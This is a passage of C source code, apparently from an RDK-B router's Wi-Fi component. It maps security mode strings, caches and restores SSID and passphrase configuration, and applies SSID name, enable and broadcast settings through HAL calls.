else if ((strcmp(auth_mode_str, "WPA3-Personal") == 0)) {
*auth_mode = COSA_DML_WIFI_SECURITY_WPA3_Personal;
}
else if ((strcmp(auth_mode_str, "WPA3-Personal-Transition") == 0)) {
*auth_mode = COSA_DML_WIFI_SECURITY_WPA3_Personal_Transition;
}
#endif /* WIFI_HAL_VERSION_3 */
#endif
}
/* Function to convert Encryption mode string to integer */
void webconf_enc_mode_to_int(char *enc_mode_str, COSA_DML_WIFI_AP_SEC_ENCRYPTION *enc_mode)
{
if ((strcmp(enc_mode_str, "TKIP") == 0)) {
*enc_mode = COSA_DML_WIFI_AP_SEC_TKIP;
} else if ((strcmp(enc_mode_str, "AES") == 0)) {
*enc_mode = COSA_DML_WIFI_AP_SEC_AES;
}
#ifndef _XB6_PRODUCT_REQ_
else if ((strcmp(enc_mode_str, "AES+TKIP") == 0)) {
*enc_mode = COSA_DML_WIFI_AP_SEC_AES_TKIP;
}
#endif
}
/**
* Function to populate TR-181 parameters to wifi structure
*
* @param current_config Pointer to current config wifi structure
*
* returns 0 on success, error otherwise
*
*/
int webconf_populate_initial_dml_config(webconf_wifi_t *current_config, uint8_t ssid)
{
PCOSA_DATAMODEL_WIFI pMyObject = (PCOSA_DATAMODEL_WIFI)g_pCosaBEManager->hWifi;
PSINGLE_LINK_ENTRY pSLinkEntry = NULL;
PCOSA_DML_WIFI_SSID pWifiSsid = NULL;
PCOSA_DML_WIFI_AP pWifiAp = NULL;
#ifdef WIFI_HAL_VERSION_3
UINT apIndex, radioIndex;
for (apIndex = 0; apIndex < getTotalNumberVAPs(); apIndex++)
{
if ( (ssid == WIFI_WEBCONFIG_PRIVATESSID && isVapPrivate(apIndex)) || (ssid == WIFI_WEBCONFIG_HOMESSID && isVapXhs(apIndex)) )
{
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->SsidQueue, apIndex)) == NULL)
{
CcspTraceError(("%s Data Model object not found!\n",__FUNCTION__));
return RETURN_ERR;
}
#else
int wlan_index=0,i;
if (ssid == WIFI_WEBCONFIG_PRIVATESSID) {
wlan_index = 0;
} else if (ssid == WIFI_WEBCONFIG_HOMESSID) {
wlan_index = 2;
}
for (i = wlan_index;i < (wlan_index+2);i++) {
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->SsidQueue, i)) == NULL) {
CcspTraceError(("%s Data Model object not found!\n",__FUNCTION__));
return RETURN_ERR;
}
#endif
if((pWifiSsid = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
#ifdef WIFI_HAL_VERSION_3
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->AccessPointQueue, apIndex)) == NULL) {
#else
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->AccessPointQueue, i)) == NULL) {
#endif
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiAp = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
#ifdef WIFI_HAL_VERSION_3
radioIndex = getRadioIndexFromAp(apIndex);
strncpy(current_config->ssid[radioIndex].ssid_name, pWifiSsid->SSID.Cfg.SSID,COSA_DML_WIFI_MAX_SSID_NAME_LEN);
current_config->ssid[radioIndex].enable = pWifiSsid->SSID.Cfg.bEnabled;
current_config->ssid[radioIndex].ssid_advertisement_enabled = pWifiAp->AP.Cfg.SSIDAdvertisementEnabled;
strncpy(current_config->security[radioIndex].passphrase, (char*)pWifiAp->SEC.Cfg.KeyPassphrase,
sizeof(current_config->security[radioIndex].passphrase)-1);
webconf_auth_mode_to_str(current_config->security[radioIndex].mode_enabled,
pWifiAp->SEC.Cfg.ModeEnabled);
webconf_enc_mode_to_str(current_config->security[radioIndex].encryption_method,
pWifiAp->SEC.Cfg.EncryptionMethod);
}
#else
if ((i % 2) == 0) {
strncpy(current_config->ssid_2g.ssid_name, pWifiSsid->SSID.Cfg.SSID,COSA_DML_WIFI_MAX_SSID_NAME_LEN);
current_config->ssid_2g.enable = pWifiSsid->SSID.Cfg.bEnabled;
current_config->ssid_2g.ssid_advertisement_enabled = pWifiAp->AP.Cfg.SSIDAdvertisementEnabled;
strncpy(current_config->security_2g.passphrase, (char*)pWifiAp->SEC.Cfg.KeyPassphrase,
sizeof(current_config->security_2g.passphrase)-1);
webconf_auth_mode_to_str(current_config->security_2g.mode_enabled,
pWifiAp->SEC.Cfg.ModeEnabled);
webconf_enc_mode_to_str(current_config->security_2g.encryption_method,
pWifiAp->SEC.Cfg.EncryptionMethod);
} else {
strncpy(current_config->ssid_5g.ssid_name, pWifiSsid->SSID.Cfg.SSID,COSA_DML_WIFI_MAX_SSID_NAME_LEN);
current_config->ssid_5g.enable = pWifiSsid->SSID.Cfg.bEnabled;
current_config->ssid_5g.ssid_advertisement_enabled = pWifiAp->AP.Cfg.SSIDAdvertisementEnabled;
strncpy(current_config->security_5g.passphrase, (char*)pWifiAp->SEC.Cfg.KeyPassphrase,
sizeof(current_config->security_5g.passphrase)-1);
webconf_auth_mode_to_str(current_config->security_5g.mode_enabled,
pWifiAp->SEC.Cfg.ModeEnabled);
webconf_enc_mode_to_str(current_config->security_5g.encryption_method,
pWifiAp->SEC.Cfg.EncryptionMethod);
}
#endif
}
return RETURN_OK;
}
/**
* Allocates memory to store current configuration
* to use in case of rollback
*
* returns 0 on success, error otherwise
*/
int webconf_alloc_current_cfg(uint8_t ssid) {
if (!curr_config) {
curr_config = (webconf_wifi_t *) malloc(sizeof(webconf_wifi_t));
if (!curr_config) {
CcspTraceError(("%s: Memory allocation error\n", __FUNCTION__));
return RETURN_ERR;
}
memset(curr_config, 0, sizeof(webconf_wifi_t));
}
if (webconf_populate_initial_dml_config(curr_config, ssid) != RETURN_OK) {
CcspTraceError(("%s: Failed to copy initial configs\n", __FUNCTION__));
return RETURN_ERR;
}
return RETURN_OK;
}
int webconf_update_dml_params(webconf_wifi_t *ps, uint8_t ssid)
{
PCOSA_DATAMODEL_WIFI pMyObject = (PCOSA_DATAMODEL_WIFI)g_pCosaBEManager->hWifi;
PSINGLE_LINK_ENTRY pSLinkEntry = NULL;
PCOSA_DML_WIFI_SSID pWifiSsid = NULL;
PCOSA_DML_WIFI_AP pWifiAp = NULL;
#ifdef WIFI_HAL_VERSION_3
UINT apIndex, radioIndex;
for (apIndex = 0; apIndex < getTotalNumberVAPs(); apIndex++)
{
if ( (ssid == WIFI_WEBCONFIG_PRIVATESSID && isVapPrivate(apIndex)) || (ssid == WIFI_WEBCONFIG_HOMESSID && isVapXhs(apIndex)) )
{
radioIndex = getRadioIndexFromAp(apIndex);
if (curr_config->ssid[radioIndex].ssid_changed)
{
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->SsidQueue, apIndex)) == NULL)
{
CcspTraceError(("%s Data Model object not found!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiSsid = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL)
{
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->AccessPointQueue, apIndex)) == NULL)
{
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiAp = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL)
{
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
strncpy(pWifiSsid->SSID.Cfg.SSID, ps->ssid[radioIndex].ssid_name, sizeof(pWifiSsid->SSID.Cfg.SSID)-1);
pWifiSsid->SSID.Cfg.bEnabled = ps->ssid[radioIndex].enable;
pWifiAp->AP.Cfg.SSIDAdvertisementEnabled = ps->ssid[radioIndex].ssid_advertisement_enabled;
memcpy(&sWiFiDmlSsidStoredCfg[pWifiSsid->SSID.Cfg.InstanceNumber-1], &pWifiSsid->SSID.Cfg, sizeof(COSA_DML_WIFI_SSID_CFG));
memcpy(&sWiFiDmlApStoredCfg[pWifiAp->AP.Cfg.InstanceNumber-1].Cfg, &pWifiAp->AP.Cfg, sizeof(COSA_DML_WIFI_AP_CFG));
memcpy(&sWiFiDmlSsidRunningCfg[pWifiSsid->SSID.Cfg.InstanceNumber-1], &pWifiSsid->SSID.Cfg, sizeof(COSA_DML_WIFI_SSID_CFG));
memcpy(&sWiFiDmlApRunningCfg[pWifiAp->AP.Cfg.InstanceNumber-1].Cfg, &pWifiAp->AP.Cfg, sizeof(COSA_DML_WIFI_AP_CFG));
curr_config->ssid[radioIndex].ssid_changed = false;
}
if (curr_config->security[radioIndex].sec_changed)
{
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->AccessPointQueue, apIndex)) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiAp = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
webconf_auth_mode_to_int(ps->security[radioIndex].mode_enabled, &pWifiAp->SEC.Cfg.ModeEnabled);
strncpy((char*)pWifiAp->SEC.Cfg.KeyPassphrase, ps->security[radioIndex].passphrase,sizeof(pWifiAp->SEC.Cfg.KeyPassphrase)-1);
strncpy((char*)pWifiAp->SEC.Cfg.PreSharedKey, ps->security[radioIndex].passphrase,sizeof(pWifiAp->SEC.Cfg.PreSharedKey)-1);
#ifdef WIFI_HAL_VERSION_3
strncpy((char*)pWifiAp->SEC.Cfg.SAEPassphrase, ps->security[radioIndex].passphrase,sizeof(pWifiAp->SEC.Cfg.SAEPassphrase)-1);
#endif
webconf_enc_mode_to_int(ps->security[radioIndex].encryption_method, &pWifiAp->SEC.Cfg.EncryptionMethod);
memcpy(&sWiFiDmlApSecurityStored[apIndex].Cfg, &pWifiAp->SEC.Cfg, sizeof(COSA_DML_WIFI_APSEC_CFG));
memcpy(&sWiFiDmlApSecurityRunning[apIndex].Cfg, &pWifiAp->SEC.Cfg, sizeof(COSA_DML_WIFI_APSEC_CFG));
curr_config->security[radioIndex].sec_changed = false;
}
}
}
#else
uint8_t wlan_index = 0;
if (ssid == WIFI_WEBCONFIG_PRIVATESSID) {
wlan_index = 0;
} else if (ssid == WIFI_WEBCONFIG_HOMESSID) {
wlan_index = 2;
}
if (curr_config->ssid_2g.ssid_changed) {
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->SsidQueue, wlan_index)) == NULL) {
CcspTraceError(("%s Data Model object not found!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiSsid = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->AccessPointQueue, wlan_index)) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiAp = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
strncpy(pWifiSsid->SSID.Cfg.SSID, ps->ssid_2g.ssid_name, sizeof(pWifiSsid->SSID.Cfg.SSID)-1);
pWifiSsid->SSID.Cfg.bEnabled = ps->ssid_2g.enable;
pWifiAp->AP.Cfg.SSIDAdvertisementEnabled = ps->ssid_2g.ssid_advertisement_enabled;
memcpy(&sWiFiDmlSsidStoredCfg[pWifiSsid->SSID.Cfg.InstanceNumber-1], &pWifiSsid->SSID.Cfg, sizeof(COSA_DML_WIFI_SSID_CFG));
memcpy(&sWiFiDmlApStoredCfg[pWifiAp->AP.Cfg.InstanceNumber-1].Cfg, &pWifiAp->AP.Cfg, sizeof(COSA_DML_WIFI_AP_CFG));
memcpy(&sWiFiDmlSsidRunningCfg[pWifiSsid->SSID.Cfg.InstanceNumber-1], &pWifiSsid->SSID.Cfg, sizeof(COSA_DML_WIFI_SSID_CFG));
memcpy(&sWiFiDmlApRunningCfg[pWifiAp->AP.Cfg.InstanceNumber-1].Cfg, &pWifiAp->AP.Cfg, sizeof(COSA_DML_WIFI_AP_CFG));
curr_config->ssid_2g.ssid_changed = false;
}
if (curr_config->ssid_5g.ssid_changed) {
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->SsidQueue, wlan_index+1)) == NULL) {
CcspTraceError(("%s Data Model object not found!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiSsid = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->AccessPointQueue, wlan_index+1)) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiAp = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
strncpy(pWifiSsid->SSID.Cfg.SSID, ps->ssid_5g.ssid_name, sizeof(pWifiSsid->SSID.Cfg.SSID)-1);
pWifiSsid->SSID.Cfg.bEnabled = ps->ssid_5g.enable;
pWifiAp->AP.Cfg.SSIDAdvertisementEnabled = ps->ssid_5g.ssid_advertisement_enabled;
memcpy(&sWiFiDmlSsidStoredCfg[pWifiSsid->SSID.Cfg.InstanceNumber-1], &pWifiSsid->SSID.Cfg, sizeof(COSA_DML_WIFI_SSID_CFG));
memcpy(&sWiFiDmlApStoredCfg[pWifiAp->AP.Cfg.InstanceNumber-1].Cfg, &pWifiAp->AP.Cfg, sizeof(COSA_DML_WIFI_AP_CFG));
memcpy(&sWiFiDmlSsidRunningCfg[pWifiSsid->SSID.Cfg.InstanceNumber-1], &pWifiSsid->SSID.Cfg, sizeof(COSA_DML_WIFI_SSID_CFG));
memcpy(&sWiFiDmlApRunningCfg[pWifiAp->AP.Cfg.InstanceNumber-1].Cfg, &pWifiAp->AP.Cfg, sizeof(COSA_DML_WIFI_AP_CFG));
curr_config->ssid_5g.ssid_changed = false;
}
if (curr_config->security_2g.sec_changed) {
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->AccessPointQueue, wlan_index)) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiAp = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
webconf_auth_mode_to_int(ps->security_2g.mode_enabled, &pWifiAp->SEC.Cfg.ModeEnabled);
strncpy((char*)pWifiAp->SEC.Cfg.KeyPassphrase, ps->security_2g.passphrase,sizeof(pWifiAp->SEC.Cfg.KeyPassphrase)-1);
strncpy((char*)pWifiAp->SEC.Cfg.PreSharedKey, ps->security_2g.passphrase,sizeof(pWifiAp->SEC.Cfg.PreSharedKey)-1);
webconf_enc_mode_to_int(ps->security_2g.encryption_method, &pWifiAp->SEC.Cfg.EncryptionMethod);
memcpy(&sWiFiDmlApSecurityStored[wlan_index].Cfg, &pWifiAp->SEC.Cfg, sizeof(COSA_DML_WIFI_APSEC_CFG));
memcpy(&sWiFiDmlApSecurityRunning[wlan_index].Cfg, &pWifiAp->SEC.Cfg, sizeof(COSA_DML_WIFI_APSEC_CFG));
curr_config->security_2g.sec_changed = false;
}
if (curr_config->security_5g.sec_changed) {
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->AccessPointQueue, wlan_index+1)) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiAp = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
webconf_auth_mode_to_int(ps->security_5g.mode_enabled, &pWifiAp->SEC.Cfg.ModeEnabled);
strncpy((char*)pWifiAp->SEC.Cfg.KeyPassphrase, ps->security_5g.passphrase,sizeof(pWifiAp->SEC.Cfg.KeyPassphrase)-1);
strncpy((char*)pWifiAp->SEC.Cfg.PreSharedKey, ps->security_5g.passphrase,sizeof(pWifiAp->SEC.Cfg.PreSharedKey)-1);
webconf_enc_mode_to_int(ps->security_5g.encryption_method, &pWifiAp->SEC.Cfg.EncryptionMethod);
memcpy(&sWiFiDmlApSecurityStored[wlan_index+1].Cfg, &pWifiAp->SEC.Cfg, sizeof(COSA_DML_WIFI_APSEC_CFG));
memcpy(&sWiFiDmlApSecurityRunning[wlan_index+1].Cfg, &pWifiAp->SEC.Cfg, sizeof(COSA_DML_WIFI_APSEC_CFG));
curr_config->security_5g.sec_changed = false;
}
#endif
return RETURN_OK;
}
/**
* Applies Wifi SSID Parameters
*
* @param wlan_index AP Index
*
* @return 0 on sucess, error otherswise
*/
int webconf_apply_wifi_ssid_params (webconf_wifi_t *pssid_entry, uint8_t wlan_index,
pErr execRetVal)
{
int retval = RETURN_ERR;
char *ssid = NULL;
bool enable = false, adv_enable = false;
webconf_ssid_t *wlan_ssid = NULL, *cur_conf_ssid = NULL;
BOOLEAN bForceDisableFlag = FALSE;
#ifdef WIFI_HAL_VERSION_3
UINT radioIndex = getRadioIndexFromAp(wlan_index);
{
wlan_ssid = &pssid_entry->ssid[radioIndex];
cur_conf_ssid = &curr_config->ssid[radioIndex];
}
#else
if ((wlan_index % 2) ==0)
{
wlan_ssid = &pssid_entry->ssid_2g;
cur_conf_ssid = &curr_config->ssid_2g;
} else {
wlan_ssid = &pssid_entry->ssid_5g;
cur_conf_ssid = &curr_config->ssid_5g;
}
#endif
ssid = wlan_ssid->ssid_name;
enable = wlan_ssid->enable;
adv_enable = wlan_ssid->ssid_advertisement_enabled;
if(ANSC_STATUS_FAILURE == CosaDmlWiFiGetCurrForceDisableWiFiRadio(&bForceDisableFlag))
{
CcspTraceError(("%s Failed to fetch ForceDisableWiFiRadio flag!!!\n",__FUNCTION__));
}
/* Apply SSID values to hal */
if ((strcmp(cur_conf_ssid->ssid_name, ssid) != 0) && (!bForceDisableFlag)) {
CcspTraceInfo(("RDKB_WIFI_CONFIG_CHANGED : %s Calling wifi_setSSID to "
"change SSID name on interface: %d SSID: %s \n",__FUNCTION__,wlan_index,ssid));
t2_event_d("WIFI_INFO_XHCofigchanged", 1);
#if (!defined(_XB6_PRODUCT_REQ_) || defined (_XB7_PRODUCT_REQ_))
retval = wifi_setSSIDName(wlan_index, ssid);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to apply SSID name for wlan %d\n",__FUNCTION__, wlan_index));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Ssid name apply failed",sizeof(execRetVal->ErrorMsg)-1);
}
return retval;
}
#endif
retval = wifi_pushSSID(wlan_index, ssid);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to push SSID name for wlan %d\n",__FUNCTION__, wlan_index));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Ssid name apply failed",sizeof(execRetVal->ErrorMsg)-1);
}
return retval;
}
strncpy(cur_conf_ssid->ssid_name, ssid, COSA_DML_WIFI_MAX_SSID_NAME_LEN);
cur_conf_ssid->ssid_changed = true;
CcspTraceInfo(("%s: SSID name change applied for wlan %d\n",__FUNCTION__, wlan_index));
#if defined(ENABLE_FEATURE_MESHWIFI)
CcspWifiTrace(("RDK_LOG_INFO,WIFI %s : Notify Mesh of SSID change\n",__FUNCTION__));
v_secure_system("/usr/bin/sysevent set wifi_SSIDName \"RDK|%d|%s\"",wlan_index, ssid);
#endif
#ifdef WIFI_HAL_VERSION_3
if (isVapPrivate(wlan_index))
{
SSID_UPDATED[getRadioIndexFromAp(wlan_index)] = TRUE;
}
#else
if (wlan_index == 0) {
SSID1_UPDATED = TRUE;
} else if (wlan_index == 1) {
SSID2_UPDATED = TRUE;
}
#endif
} else if (bForceDisableFlag == TRUE) {
CcspWifiTrace(("RDK_LOG_WARN, WIFI_ATTEMPT_TO_CHANGE_CONFIG_WHEN_FORCE_DISABLED \n"));
}
if ((cur_conf_ssid->enable != enable) && (!bForceDisableFlag)) {
CcspWifiTrace(("RDK_LOG_WARN,RDKB_WIFI_CONFIG_CHANGED : %s Calling wifi_setEnable"
" to enable/disable SSID on interface: %d enable: %d\n",
__FUNCTION__, wlan_index, enable));
retval = wifi_setSSIDEnable(wlan_index, enable);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set AP Enable for wlan %d\n",__FUNCTION__, wlan_index));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Ssid enable failed",sizeof(execRetVal->ErrorMsg)-1);
}
return retval;
}
if (wlan_index == 3) {
char passph[128]={0};
wifi_getApSecurityKeyPassphrase(2, passph);
wifi_setApSecurityKeyPassphrase(3, passph);
wifi_getApSecurityPreSharedKey(2, passph);
wifi_setApSecurityPreSharedKey(3, passph);
g_newXH5Gpass=TRUE;
}
CcspWifiTrace(("RDK_LOG_WARN,WIFI %s wifi_setApEnable success index %d , %d",
__FUNCTION__,wlan_index, enable));
#if (!defined(_XB6_PRODUCT_REQ_) || defined (_XB7_PRODUCT_REQ_))
COSA_DML_WIFI_SECURITY auth_mode;
#ifdef WIFI_HAL_VERSION_3
webconf_auth_mode_to_int(curr_config->security[getRadioIndexFromAp(wlan_index)].mode_enabled, &auth_mode);
#else
if ((wlan_index % 2) ==0) {
webconf_auth_mode_to_int(curr_config->security_2g.mode_enabled, &auth_mode);
} else {
webconf_auth_mode_to_int(curr_config->security_5g.mode_enabled, &auth_mode);
}
#endif
if (enable) {
BOOL enable_wps = FALSE;
#ifdef CISCO_XB3_PLATFORM_CHANGES
BOOL wps_cfg = 0;
retval = wifi_getApWpsEnable(wlan_index, &wps_cfg);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to get Ap Wps Enable\n", __FUNCTION__));
return retval;
}
enable_wps = (wps_cfg == 0) ? FALSE : TRUE;
#else
retval = wifi_getApWpsEnable(wlan_index, &enable_wps);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to get Ap Wps Enable\n", __FUNCTION__));
return retval;
}
#endif
BOOL up;
char status[64]={0};
if (wifi_getSSIDStatus(wlan_index, status) != RETURN_OK) {
CcspTraceError(("%s: Failed to get SSID Status\n", __FUNCTION__));
return RETURN_ERR;
}
up = (strcmp(status,"Enabled")==0);
CcspTraceInfo(("SSID status is %s\n",status));
if (up == FALSE) {
#if defined(_INTEL_WAV_)
retval = wifi_setSSIDEnable(wlan_index, TRUE);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to enable AP Interface for wlan %d\n",
__FUNCTION__, wlan_index));
return retval;
}
CcspTraceInfo(("AP Enabled Successfully %d\n\n",wlan_index));
#else
uint8_t radio_index = (wlan_index % 2);
retval = wifi_createAp(wlan_index, radio_index, ssid, (adv_enable == TRUE) ? FALSE : TRUE);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to create AP Interface for wlan %d\n",
__FUNCTION__, wlan_index));
return retval;
}
CcspTraceInfo(("AP Created Successfully %d\n\n",wlan_index));
#endif
apply_params.hostapd_restart = true;
}
if (auth_mode >= COSA_DML_WIFI_SECURITY_WPA_Personal) {
retval = wifi_removeApSecVaribles(wlan_index);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to remove AP SEC Variable for wlan %d\n",
__FUNCTION__, wlan_index));
return retval;
}
retval = wifi_createHostApdConfig(wlan_index, enable_wps);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to create hostapd config for wlan %d\n",
__FUNCTION__, wlan_index));
return retval;
}
apply_params.hostapd_restart = true;
CcspTraceInfo(("Created hostapd config successfully wlan_index %d\n", wlan_index));
}
wifi_setApEnable(wlan_index, true);
#ifdef CISCO_XB3_PLATFORM_CHANGES
wifi_ifConfigUp(wlan_index);
#endif
PCOSA_DML_WIFI_AP_CFG pStoredApCfg = &sWiFiDmlApStoredCfg[wlan_index].Cfg;
CosaDmlWiFiApPushCfg(pStoredApCfg);
CosaDmlWiFiApMfPushCfg(sWiFiDmlApMfCfg[wlan_index], wlan_index);
CosaDmlWiFiApPushMacFilter(sWiFiDmlApMfQueue[wlan_index], wlan_index);
wifi_pushBridgeInfo(wlan_index);
} else {
#ifdef CISCO_XB3_PLATFORM_CHANGES
wifi_ifConfigDown(wlan_index);
#endif
if (auth_mode >= COSA_DML_WIFI_SECURITY_WPA_Personal) {
retval = wifi_removeApSecVaribles(wlan_index);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to remove AP SEC Variable for wlan %d\n",
__FUNCTION__, wlan_index));
return retval;
}
apply_params.hostapd_restart = true;
}
}
#endif /* _XB6_PRODUCT_REQ_ */
cur_conf_ssid->enable = enable;
cur_conf_ssid->ssid_changed = true;
CcspTraceInfo(("%s: SSID Enable change applied for wlan %d\n",__FUNCTION__, wlan_index));
} else if (bForceDisableFlag == TRUE) {
CcspWifiTrace(("RDK_LOG_WARN, WIFI_ATTEMPT_TO_CHANGE_CONFIG_WHEN_FORCE_DISABLED \n"));
}
if (cur_conf_ssid->ssid_advertisement_enabled != adv_enable) {
retval = wifi_setApSsidAdvertisementEnable(wlan_index, adv_enable);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set SSID Advertisement Status for wlan %d\n",
__FUNCTION__, wlan_index));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"SSID Advertisement Status apply failed",
sizeof(execRetVal->ErrorMsg)-1);
}
return retval;
}
#if (!defined(_XB6_PRODUCT_REQ_) || defined (_XB7_PRODUCT_REQ_))
retval = wifi_pushSsidAdvertisementEnable(wlan_index, adv_enable);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to push SSID Advertisement Status for wlan %d\n",
__FUNCTION__, wlan_index));
return retval;
}
#ifdef WIFI_HAL_VERSION_3
curr_config->security[getRadioIndexFromAp(wlan_index)].sec_changed = true;
#else
if (!wlan_index) {
curr_config->security_2g.sec_changed = true;
} else {
curr_config->security_5g.sec_changed = true;
}
#endif
#endif
#if defined(ENABLE_FEATURE_MESHWIFI)
CcspWifiTrace(("RDK_LOG_INFO,WIFI %s : Notify Mesh of SSID Advertise changes\n",__FUNCTION__));
v_secure_system("/usr/bin/sysevent set wifi_SSIDAdvertisementEnable \"RDK|%d|%s\"",
wlan_index, adv_enable?"true":"false");
#endif
apply_params.hostapd_restart = true;
cur_conf_ssid->ssid_changed = true;
cur_conf_ssid->ssid_advertisement_enabled = adv_enable;
CcspTraceInfo(("%s: Advertisement change applied for wlan index: %d\n",
__FUNCTION__, wlan_index));
}
return RETURN_OK;
}
/** Applies Wifi Security Parameters
*
* @param wlan_index AP Index
*
* returns 0 on success, error otherwise
*/
int webconf_apply_wifi_security_params(webconf_wifi_t *pssid_entry, uint8_t wlan_index,
pErr execRetVal)
{
int retval = RETURN_ERR;
char securityType[32] = {0};
char authMode[32] = {0};
char method[32] = {0};
char *mode = NULL, *encryption = NULL, *passphrase = NULL;
webconf_security_t *wlan_security = NULL, *cur_sec_cfg = NULL;
BOOLEAN bForceDisableFlag = FALSE;
COSA_DML_WIFI_SECURITY sec_mode = COSA_DML_WIFI_SECURITY_None;
#ifdef WIFI_HAL_VERSION_3
UINT radioIndex = getRadioIndexFromAp(wlan_index);
wlan_security = &pssid_entry->security[radioIndex];
cur_sec_cfg = &curr_config->security[radioIndex];
#else
if ((wlan_index % 2) ==0) {
wlan_security = &pssid_entry->security_2g;
cur_sec_cfg = &curr_config->security_2g;
} else {
wlan_security = &pssid_entry->security_5g;
cur_sec_cfg = &curr_config->security_5g;
}
#endif
passphrase = wlan_security->passphrase;
mode = wlan_security->mode_enabled;
encryption = wlan_security->encryption_method;
if(ANSC_STATUS_FAILURE == CosaDmlWiFiGetCurrForceDisableWiFiRadio(&bForceDisableFlag))
{
CcspTraceError(("%s Failed to fetch ForceDisableWiFiRadio flag!!!\n",__FUNCTION__));
}
/* Copy hal specific strings for respective Authentication Mode */
if (strcmp(mode, "None") == 0 ) {
sec_mode = COSA_DML_WIFI_SECURITY_None;
strcpy(securityType,"None");
strcpy(authMode,"None");
}
#ifndef _XB6_PRODUCT_REQ_
else if (strcmp(mode, "WEP-64") == 0) {
sec_mode = COSA_DML_WIFI_SECURITY_WEP_64;
} else if (strcmp(mode, "WEP-128") == 0) {
sec_mode = COSA_DML_WIFI_SECURITY_WEP_128;
}
else if (strcmp(mode, "WPA-Personal") == 0) {
strcpy(securityType,"WPA");
strcpy(authMode,"PSKAuthentication");
sec_mode = COSA_DML_WIFI_SECURITY_WPA_Personal;
} else if (strcmp(mode, "WPA2-Personal") == 0) {
sec_mode = COSA_DML_WIFI_SECURITY_WPA2_Personal;
strcpy(securityType,"11i");
strcpy(authMode,"PSKAuthentication");
} else if (strcmp(mode, "WPA-Enterprise") == 0) {
sec_mode = COSA_DML_WIFI_SECURITY_WPA_Enterprise;
} else if (strcmp(mode, "WPA-WPA2-Personal") == 0) {
strcpy(securityType,"WPAand11i");
strcpy(authMode,"PSKAuthentication");
sec_mode = COSA_DML_WIFI_SECURITY_WPA_WPA2_Personal;
}
#else
else if ((strcmp(mode, "WPA2-Personal") == 0)) {
